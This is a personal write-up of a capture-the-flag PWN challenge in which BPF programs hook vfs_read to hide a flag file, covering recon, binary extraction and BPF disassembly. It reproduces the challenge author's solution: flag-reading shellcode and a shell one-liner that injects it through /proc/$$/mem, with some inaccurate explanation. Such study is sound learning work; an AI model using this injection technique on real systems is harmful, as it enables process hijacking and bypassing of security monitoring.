Blue Pants On Fire (BPF) - PWN challenge

This challenge began with an anti-spam proof-of-work script that routed you into a qemu-looking boot sequence followed by ‘The flag is at /flag.txt. Good Luck!’. The goal was to bypass bpf filters that would hijack the contents of the output of flag.txt before it sent the string to stdout.

For my recommended reading on topics that I didn’t understand, you can skip to the bottom.

Recon

Tools

  1. Basic shell commands (nc, cat, tar, base64, tr, ls)

Logging in

First user was greeted with a proof-of-work challenge. This seems to be a measure of keeping brute-forcing down and gives an interactive path to the author with which to generate routes to the challenge before allowing users into the actual challenge.

1[12:23:59] tokugero :: pangolin  ➜  ~ » nc <redacted> 5000 | tee output
2proof of work:
3curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.IYecQs5WM8psI1QUf8xxYg==
4solution:

Looking into the source of the pwn.red/pow script, one can see it’s just doing a download to a script that will do some math on the two outputs (+ version) to calculate a solution. The source code is also on github and linked in the script.

1[12:23:40] tokugero :: pangolin  ➜  ~ » curl -sSfL https://pwn.red/pow | sh -s s.AAA6mA==.IYecQs5WM8psI1QUf8xxYg==
2s.W2ACFYds5hFD0wgb6kr90ur/0b658a+OT1FoKUJNOPv5wAVuDlJhIzUNXG4M/L48Ood1xyWuFzvsLO9dhWkQw850ByS8Cp5X8D0/wblynsT8Qap4/hCu17yrtX3iHFSdoDqVj5nm6nEF2X8ADqQ/DH7b3WzEaIIx8odyO9bjvOz4fo+6I0SYqJEGyGlLZRLZDu7zqKpK1y3sGKfbbyhHYg==

After solving, you’re greeted with a long post message indicating that this is a qemu vm spinning up with an /init script.

 1[    2.754164] Run /init as init process
 2
 3
 4Boot took 2.77 seconds
 5
 6┏┓ ╻  ╻ ╻┏━╸   ┏━┓┏━┓┏┓╻╺┳╸┏━┓   ┏━┓┏┓╻   ┏━╸╻┏━┓┏━╸
 7┣┻┓┃  ┃ ┃┣╸    ┣━┛┣━┫┃┗┫ ┃ ┗━┓   ┃ ┃┃┗┫   ┣╸ ┃┣┳┛┣╸
 8┗━┛┗━╸┗━┛┗━╸   ╹  ╹ ╹╹ ╹ ╹ ┗━┛   ┗━┛╹ ╹   ╹  ╹╹┗╸┗━╸
 9
10Good luck :) Flag is at /flag.txt
11
12[    2.958757] input: ImExPS/2 Generic Explorer Mouse as /devices/platform/i8042/serio1/input/input3
13[    3.may corrupt user memory!1] is installing a program with bpf_probe_write_user helper that 
14[    3.165430] blue-pants-on-f[1] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
15[    3.166298] blue-pants-on-f[1] is installing a program with bpf_probe_write_user helper that may corrupt user memory!
16/bin/sh: can't access tty; job control turned off

Looking at the suggested file we see some silly text that is not the flag.

1~ $ cat /flag.txt
2cat /flag.txt
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletm~ $ 

We also have some interesting errors from the initial output as well:

is installing a program with bpf_probe_write_user helper that may corrupt user memory!

Some googling shows us that this is likely a dangerous BPF helper that can be used to write to user memory. This is likely the mechanism by which the flag is being overwritten.

Looking at the contents of /init we can see the script that’s spawning and the binary that’s ultimately ran.

 1~ $ cat /init
 2cat /init
 3#!/bin/sh
 4
 5mount -t proc none /proc
 6mount -t sysfs none /sys
 7
 8cat <<!
 9
10
11Boot took $(cut -d' ' -f1 /proc/uptime) seconds
12
13┏┓ ╻  ╻ ╻┏━╸   ┏━┓┏━┓┏┓╻╺┳╸┏━┓   ┏━┓┏┓╻   ┏━╸╻┏━┓┏━╸
14┣┻┓┃  ┃ ┃┣╸    ┣━┛┣━┫┃┗┫ ┃ ┗━┓   ┃ ┃┃┗┫   ┣╸ ┃┣┳┛┣╸
15┗━┛┗━╸┗━┛┗━╸   ╹  ╹ ╹╹ ╹ ╹ ┗━┛   ┗━┛╹ ╹   ╹  ╹╹┗╸┗━╸
16
17Good luck :) Flag is at /flag.txt
18
19!
20exec /sbin/blue-pants-on-fire

Exfiltrating binary

To understand what’s happening, we’ll need to exfiltrate this binary. By taring it to base64, we can copy the output and decode it on our local machine.

1tar -cf - /sbin/blue-pants-on-fire | base64
1[14:08:47] tokugero :: pangolin  ➜  pwn/bluepantsonfire/tmp » cat output | tr -d '\r\n' | base64 -d | tar -xv
2sbin/blue-pants-on-fire
3[14:08:51] tokugero :: pangolin  ➜  pwn/bluepantsonfire/tmp » ls -alhn sbin
4total 2.5M
5drwxr-xr-x 2 1000 1000 4.0K Apr  2 14:08 .
6drwxr-xr-x 3 1000 1000 4.0K Apr  2 14:08 ..
7-rwxr-xr-x 1 1000 1000 2.4M Mar 29 20:21 blue-pants-on-fire

Understanding

Tools

  1. strings
  2. Ghidra
  3. binwalk
  4. objdump
  5. strace
  6. bpftools

Pulling out what we can

First is to look through strings output, here I’m just showing the really interesing bits that came out of the binary. We can see the goofy output embedded in the binary, indicating that it has something to do with the output.

1[14:23:59] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » strings blue-pants-on-fire | grep let
2state must have zero transitionsrelocating map by section index BPF_MAP_TYPE_REUSEPORT_SOCKARRAY/sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset fieldtwo or more symbols in section `index out of bounds: the len is library/core/src/fmt/builders.rslibrary/core/src/slice/memchr.rswarning: invalid regex filter - 
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutblue_pants_on_firesrc/main.rscouldn't read dentrycouldn't read name pointer is trying to read flagcouldn't read nameattempted read of flag, size: 

Binwalk is a useful tool for identifying embedded files in a binary. Here we can see that there are some files embedded in the binary, including another binary.

1[14:25:47] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » binwalk blue-pants-on-fire                                                             1302
3DECIMAL       HEXADECIMAL     DESCRIPTION
4--------------------------------------------------------------------------------
50             0x0             ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
6960605        0xEA85D         bix header, header size: 64 bytes, header CRC: 0x488B4D, created: 1974-04-15 08:43:32, image size: 21269365 bytes, Data Address: 0x4498B84, Entry Point: 0x24980200, data CRC: 0x490B84, image type: OS Kernel Image, compression type: none, image name: ""
71847008       0x1C2EE0        Unix path: /sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset field
81873152       0x1C9500        ELF, 64-bit LSB relocatable, version 1 (SYSV)
91970056       0x1E0F88        Unix path: /usr/local/bin:/bin:/usr/bin

We can even extract the embedded files directly.

 1[14:26:12] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » binwalk --dd='.*' blue-pants-on-fire 
 2
 3DECIMAL       HEXADECIMAL     DESCRIPTION
 4--------------------------------------------------------------------------------
 50             0x0             ELF, 64-bit LSB shared object, AMD x86-64, version 1 (SYSV)
 6960605        0xEA85D         bix header, header size: 64 bytes, header CRC: 0x488B4D, created: 1974-04-15 08:43:32, image size: 21269365 bytes, Data Address: 0x4498B84, Entry Point: 0x24980200, data CRC: 0x490B84, image type: OS Kernel Image, compression type: none, image name: ""
 71847008       0x1C2EE0        Unix path: /sys/devices/system/cpu/possiblethe program was already attachedenum relocation on non-enum type` overflows 16 bits offset field
 81873152       0x1C9500        ELF, 64-bit LSB relocatable, version 1 (SYSV)
 91970056       0x1E0F88        Unix path: /usr/local/bin:/bin:/usr/bin
10[14:26:22] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » ls _blue-pants-on-fire.extracted 
110  1C2EE0  1C9500  1E0F88  EA85D

And trying strings again, we can confirm that this output is in the embedded binary, not in the parent binary. Research on writing BPF code tells us that one will use a higher level language like rust or c to generate BPF bytecode that is destined to the kernel BPF space, this way the kernel can do some JIT compiling with the byte-code to ensure it’s more transferable between architectures. A very useful feature, but it means it’ll be a bit harder for us to read as my normal toolbelt does not extract this bytecode very well.

1[14:28:32] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » strings _blue-pants-on-fire.extracted/1C2EE0 | head -n 20
2...<SNIP>...
3letmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutletmeoutblue_pants_on_firesrc/main.rscouldn't read dentrycouldn't read name pointer is trying to read flagcouldn't read nameattempted read of flag, size: 

Using objdump, however, on the extracted bytecode, we can see a few things that the bytecode has left unstripped, like the fact that the fentry (likely the entrypoint of our input, like read) is checking ‘read’, and fexit (likely the exit point of our output, like write). Since this is labeled as “read”, we will need to assume that the the “read” syscall is being hijacked and not to be trusted… “liar liar, blue pants on fire”?

 1[14:44:59] tokugero :: pangolin  ➜  tmp/sbin/_blue-pants-on-fire.extracted » objdump -h 1C9500
 2
 31C9500:     file format elf64-little
 4
 5Sections:
 6Idx Name          Size      VMA               LMA               File off  Algn
 70 .text         00000350  0000000000000000  0000000000000000  00000040  2**3
 8                CONTENTS, ALLOC, LOAD, READONLY, CODE
 91 fentry/vfs_read 00001d90  0000000000000000  0000000000000000  00000390  2**3
10                CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
112 fexit/vfs_read 00000838  0000000000000000  0000000000000000  00002120  2**3
12                CONTENTS, ALLOC, LOAD, RELOC, READONLY, CODE
133 .rodata       00000112  0000000000000000  0000000000000000  00002958  2**0
14                CONTENTS, ALLOC, LOAD, READONLY, DATA
154 maps          00000054  0000000000000000  0000000000000000  00002a6c  2**2
16                CONTENTS, ALLOC, LOAD, DATA

Looking at the objdump with a guessed architecture (as others will complain about bad arch’s anyway) shows us a bit more about what the bytecode is doing.

 1[14:49:02] tokugero :: pangolin  ➜  tmp/sbin/_blue-pants-on-fire.extracted » objdump -d -mi386 1C9500
 2...<SNIP>...
 3Disassembly of section fentry/vfs_read:
 4
 50000000000000000 <fentry_blue_pants_on_fire_read>:
 6    0:       bf 16 00 00 00          mov    $0x16,%edi
 7    5:       00 00                   add    %al,(%eax)
 8    7:       00 85 00 00 00 0e       add    %al,0xe000000(%ebp)
 9    d:       00 00                   add    %al,(%eax)
10    f:       00 7b 0a                add    %bh,0xa(%ebx)
11    12:       d0 ff                   sar    $1,%bh
12    14:       00 00                   add    %al,(%eax)
13    16:       00 00                   add    %al,(%eax)
14    18:       bf a2 00 00 00          mov    $0xa2,%edi
15    1d:       00 00                   add    %al,(%eax)
16    1f:       00 07                   add    %al,(%edi)
17    21:       02 00                   add    (%eax),%al
18    23:       00 d0                   add    %dl,%al
19    25:       ff                      (bad)
20    26:       ff                      (bad)
21    27:       ff 18                   lcall  *(%eax)
22    29:       01 00                   add    %eax,(%eax)
23    ...
24    37:       00 85 00 00 00 03       add    %al,0x3000000(%ebp)
25    3d:       00 00                   add    %al,(%eax)
26    3f:       00 79 69                add    %bh,0x69(%ecx)
27    42:       08 00                   or     %al,(%eax)
28    44:       00 00                   add    %al,(%eax)
29    46:       00 00                   add    %al,(%eax)
30    48:       79 63                   jns    ad <fentry_blue_pants_on_fire_read+0xad>
31    4a:       00 00                   add    %al,(%eax)
32    4c:       00 00                   add    %al,(%eax)
33    4e:       00 00                   add    %al,(%eax)
34    50:       07                      pop    %es
35    51:       03 00                   add    (%eax),%eax
36    53:       00 a0 00 00 00 bf       add    %ah,-0x41000000(%eax)
37    59:       a1 00 00 00 00          mov    0x0,%eax # 0 eax(syscall) is "read" https://filippo.io/linux-syscall-table/
38    5e:       00 00                   add    %al,(%eax)
39    60:       07                      pop    %es
40    61:       01 00                   add    %eax,(%eax)
41    63:       00 d8                   add    %bl,%al
42    65:       ff                      (bad)
43    66:       ff                      (bad)
44    67:       ff b7 02 00 00 08       push   0x8000002(%edi)
45    6d:       00 00                   add    %al,(%eax)
46    6f:       00 85 00 00 00 71       add    %al,0x71000000(%ebp)
47    75:       00 00                   add    %al,(%eax)
48    77:       00 55 00                add    %dl,0x0(%ebp)
49    7a:       e5 00                   in     $0x0,%eax # Again, 0 eax(syscall) is "read" https://filippo.io/linux-syscall-table/
50    7c:       00 00                   add    %al,(%eax)
51    7e:       00 00                   add    %al,(%eax)
52    80:       79 a3                   jns    25 <fentry_blue_pants_on_fire_read+0x25>
53    82:       d8 ff                   fdivr  %st(7),%st
54    84:       00 00                   add    %al,(%eax)
55    86:       00 00                   add    %al,(%eax)
56    88:       07                      pop    %es
57    89:       03 00                   add    (%eax),%eax
58    8b:       00 28                   add    %ch,(%eax)
59    8d:       00 00                   add    %al,(%eax)
60    8f:       00 bf a1 00 00 00       add    %bh,0xa1(%edi)
61    95:       00 00                   add    %al,(%eax)
62    97:       00 07                   add    %al,(%edi)
63    99:       01 00                   add    %eax,(%eax)
64    9b:       00 d8                   add    %bl,%al
65    9d:       ff                      (bad)
66    9e:       ff                      (bad)

Research tells us that BPF programs are, by requirement and necessity, extremely small. To make a more intricate BPF program, an author can use maps to share data objects between the BPF programs. In this code we can see the maps that are created and where they’re shared. However, at the time of this writing, I was unable to actually observe the data being written and shared in these maps as it cleared too quickly for me to catch. Maybe there’s better tools out there for me to find in the future.

 1[14:53:20] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » sudo bpftool prog                                                                             
 2...<SNIP>...
 339: tracing  name fentry_blue_pan  tag cbaa055b6728b557  gpl
 4    loaded_at 2024-04-02T14:52:06-0700  uid 0
 5    xlated 8104B  jited 4396B  memlock 8192B  map_ids 12,11,13,14
 6    pids blue-pants-on-f(14584)
 740: tracing  name fexit_blue_pant  tag 0b1e0db2a5365e35  gpl
 8    loaded_at 2024-04-02T14:52:06-0700  uid 0
 9    xlated 2424B  jited 1339B  memlock 4096B  map_ids 12,11,13,14
10    pids blue-pants-on-f(14584)
 1[15:05:39] tokugero :: pangolin  ➜  bluepantsonfire/tmp/sbin » sudo bpftool prog dump xlated id 39 | grep -E "(map|\#)" #sample output           1 ↵
 21: (85) call bpf_get_current_pid_tgid#216480
 35: (18) r1 = map[id:12]
 47: (85) call htab_lru_map_delete_elem#255808
 514: (85) call bpf_probe_read_kernel#-102192
 621: (85) call bpf_probe_read_kernel#-102192
 727: (18) r1 = map[id:11]
 829: (85) call percpu_array_map_lookup_elem#266064
 938: (18) r4 = map[id:13][0]+128
10130: (18) r4 = map[id:13][0]+146
11183: (18) r2 = map[id:13][0]+177
12238: (18) r2 = map[id:14]
13249: (18) r1 = map[id:11]
14251: (85) call percpu_array_map_lookup_elem#266064
15260: (18) r4 = map[id:13][0]+128
16352: (18) r4 = map[id:13][0]+146
17405: (18) r2 = map[id:13][0]+157
18448: (18) r2 = map[id:14]
19454: (85) call bpf_perf_event_output_raw_tp#-97168
20463: (85) call pc+482#bpf_prog_9af5d65f957a4f79_F
21467: (85) call bpf_probe_read_kernel_str#-101936
22489: (18) r1 = map[id:11]
23491: (85) call percpu_array_map_lookup_elem#266064
24501: (18) r5 = map[id:13][0]+128
25593: (18) r7 = map[id:13][0]+146
26645: (18) r2 = map[id:13][0]+226
27684: (18) r2 = map[id:14]
28694: (85) call pc+259#bpf_prog_574d635fd9d96149_F
29703: (18) r1 = map[id:11]
30705: (85) call percpu_array_map_lookup_elem#266064
31712: (18) r1 = map[id:12]
32715: (85) call htab_lru_map_update_elem#257456
33724: (18) r4 = map[id:13][0]+128
34816: (18) r3 = map[id:13][0]+146
35877: (85) call pc+112#bpf_prog_35afc7aded4e0a42_F
36881: (85) call pc+115#bpf_prog_14cae5e813865f9a_F
37889: (18) r2 = map[id:13][0]+203
38938: (18) r2 = map[id:14]
39944: (85) call bpf_perf_event_output_raw_tp#-97168

Crafting the exploit

I didn’t finish this challenge in the competition, and instead I read the author’s write-up at this point. I understood that syscalls were being hijacked, and looking at the intended solution I could see my original assumption of “open” being the hijacked code was incorrect, but instead it was actually “read” that was triggering the BPF filter. From here on, this is me attempting to reverse engineer how the author intended the challengers to bypass this filter using raw syscalls and shellcode.

Tools

  1. pwntools (shellcraft shell code generator)
  2. read
  3. exec
  4. hope

Answer from the author; don’t ask me about the magic of the wizard, I only know the legends of its arcane runes.

 1echo '<redacted-base64-payload>'|base64 -d > solution.bin && objdump -D -b binary -mi386:x86-64 solution.bin 
 2
 3solution.bin:     file format binary
 4
 5
 6Disassembly of section .data:
 7
 80000000000000000 <.data>:
 90:    50                       push   %rax
101:    48 31 d2                 xor    %rdx,%rdx
114:    48 31 f6                 xor    %rsi,%rsi
127:    56                       push   %rsi
138:    56                       push   %rsi 
149:    48 bb 66 6c 61 67 2e     movabs $0x7478742e67616c66,%rbx # flag.txt little-endian
1510:    74 78 74 
1613:    53                       push   %rbx # Flag location
1714:    54                       push   %rsp 
1815:    5f                       pop    %rdi
1916:    b8 02 00 00 00           mov    $0x2,%eax # open syscall
201b:    0f 05                    syscall
211d:    49 90                    xchg   %rax,%r8
221f:    48 31 ff                 xor    %rdi,%rdi
2322:    be 00 10 00 00           mov    $0x1000,%esi
2427:    ba 01 00 00 00           mov    $0x1,%edx 
252c:    41 ba 02 00 00 00        mov    $0x2,%r10d 
2632:    4d 31 c9                 xor    %r9,%r9
2735:    b8 09 00 00 00           mov    $0x9,%eax # mmap syscall
283a:    0f 05                    syscall
293c:    48 96                    xchg   %rax,%rsi
303e:    ba 40 00 00 00           mov    $0x40,%edx
3143:    bf 01 00 00 00           mov    $0x1,%edi
3248:    b8 01 00 00 00           mov    $0x1,%eax # write syscall
334d:    0f 05                    syscall

This is what a hacker fireball looks like in terminal.

1read a</proc/$$/syscall;exec 3>/proc/$$/mem;echo '<redacted-base64-payload>'|base64 -d|dd bs=1 seek=$(($(echo $a|cut -d" " -f9)))>&3
1# Note that this doesn't actually work as a payload... yet
2open_flag = pwnlib.shellcraft.i386.linux.open("/flag.txt").rstrip()
3mmap = pwnlib.shellcraft.i386.linux.syscall("SYS_mmap", 0x1000, 0x1000, 7, 50, 0, 0).rstrip()
4write = pwnlib.shellcraft.i386.linux.syscall("SYS_write", 1, 0x100000, 0x1000).rstrip()
5
6shellcode = b64e(asm(open_flag + mmap + write))
7print(shellcode)
 1    /* open(file='/flag.txt', oflag=0, mode=0) */
 2    /* push b'/flag.txt\x00' */
 3    push 0x74
 4    push 0x78742e67
 5    push 0x616c662f
 6    mov ebx, esp
 7    xor ecx, ecx
 8    xor edx, edx
 9    /* call open() */
10    push SYS_open /* 5 */
11    pop eax
12    int 0x80    /* call mmap(0x1000, 0x1000, 7, 0x32, 0, 0) */
13    push SYS_mmap /* 0x5a */
14    pop eax
15    xor ebp, ebp
16    xor ebx, ebx
17    mov bh, 0x1000 >> 8
18    xor edi, edi
19    push 7
20    pop edx
21    push 0x32
22    pop esi
23    mov ecx, ebx
24    int 0x80    /* call write(1, 0x100000, 0x1000) */
25    push SYS_write /* 4 */
26    pop eax
27    push 1
28    pop ebx
29    mov ecx, (-1) ^ 0x100000
30    not ecx
31    xor edx, edx
32    mov dh, 0x1000 >> 8
33    int 0x80

This is the injection technique devised by the author. I found more detailed information about writing to memory fd’s here: https://joev.dev/posts/unprivileged-process-injection-techniques-in-linux

1read a</proc/$$/syscall;exec 3>/proc/$$/mem;echo '<redacted>'|base64 -d|dd bs=1 seek=$(($(echo $a|cut -d" " -f9)))>&3 

This is the breakdown of the technique used here

 1read a</proc/$$/syscall # Captures the current syscall stack into variable $a, specifically the "read" address at 9th position
 2exec 3>/proc/$$/mem # Opens a write file-handle to kernel memory
 3echo '<redacted>'| # The base64 encoded shellcode
 4    base64 -d| # Decodes the base64 shellcode
 5    dd bs=1 seek=$( # Writes the shellcode to the kernel memory at the last stack pointer address. When read is called, our payload is executed
 6        (
 7            $(echo $a| # outputs the syscall pointers
 8            cut -d" " -f9) # outputs the address of the read syscall
 9        )
10    )>&3 # Writes the shellcode to the kernel memory at the desired location

Things that didn’t work

  1. Random testing
  2. Ghidra

This really took understanding what I was looking at. Without the hint from the challenge itself (__B__lue-__P__ants-on-__F__ire) and the errors that greet the user on login, I may never have found the bad-bpf defcon talk that really showed me what was possible with what I had previously assumed were just networking debug tools. Throwing Rust at Ghidra with all it’s embedded packages, and the nested BPF bytecode wasted hours of my time trying to understand what ended up being basic libraries that were baked into the final binary.

I spent a lot of time looking through that binary for where “flag.txt” might have been referenced to work my way backwards. The letmeoutletmeout string did ultimately help me focus my attention where it mattered, but that also didn’t really give me what I needed to solve the challenge. It forced me to take another look at the (what seemed like magic at first) objdump and dd tools to extract information. Once I started allowing myself to explore the parameters and tools, these made a big difference in how I approached the challenge.

Unfortunately, I kept using my frustration-breaks to look for tools in the included busybox bin that might give me a tool that didn’t really read a file but might give me what I needed to get the file. Locally on my system I was able to copy the flag to another file to see the contents, but this challenge had no such writeable directory. exec opening and managing file handles got me closer, but still ultimately weren’t sufficient. In these cases, I determined it’s best to just accept the suck and start learning how to inject shellcode. Even though it seems complex and scary, it’ll be an absolutely essential tool to give me the flexibility to no longer depend on these built-ins in the future. It also helps me really appreciate how little security one has once someone gets access to a box, so maybe it will help me realize how much I have to go to harden my own systems moving forward.

Conclusion

This challenge really pushed my understanding of how kernels and memory works in the Linux system itself. In addition, it exposed an entire set of techniques for debugging of which I was entirely ignorant. I think this is a really good way to show that even if the challenge feels insurmountable, there’s something to be gained from the failure of the experience. I’m really glad I took the time to look into this challenge and I hope I can apply these learnings soon.

I’m going to keep looking for ways to craft this payload myself. As of the time of this writing, I haven’t gotten it working yet, but need to move to other things and come back to this at another time. If/when I get it working, I’ll update this post with the working payload and how I arrived at whatever answer that might be.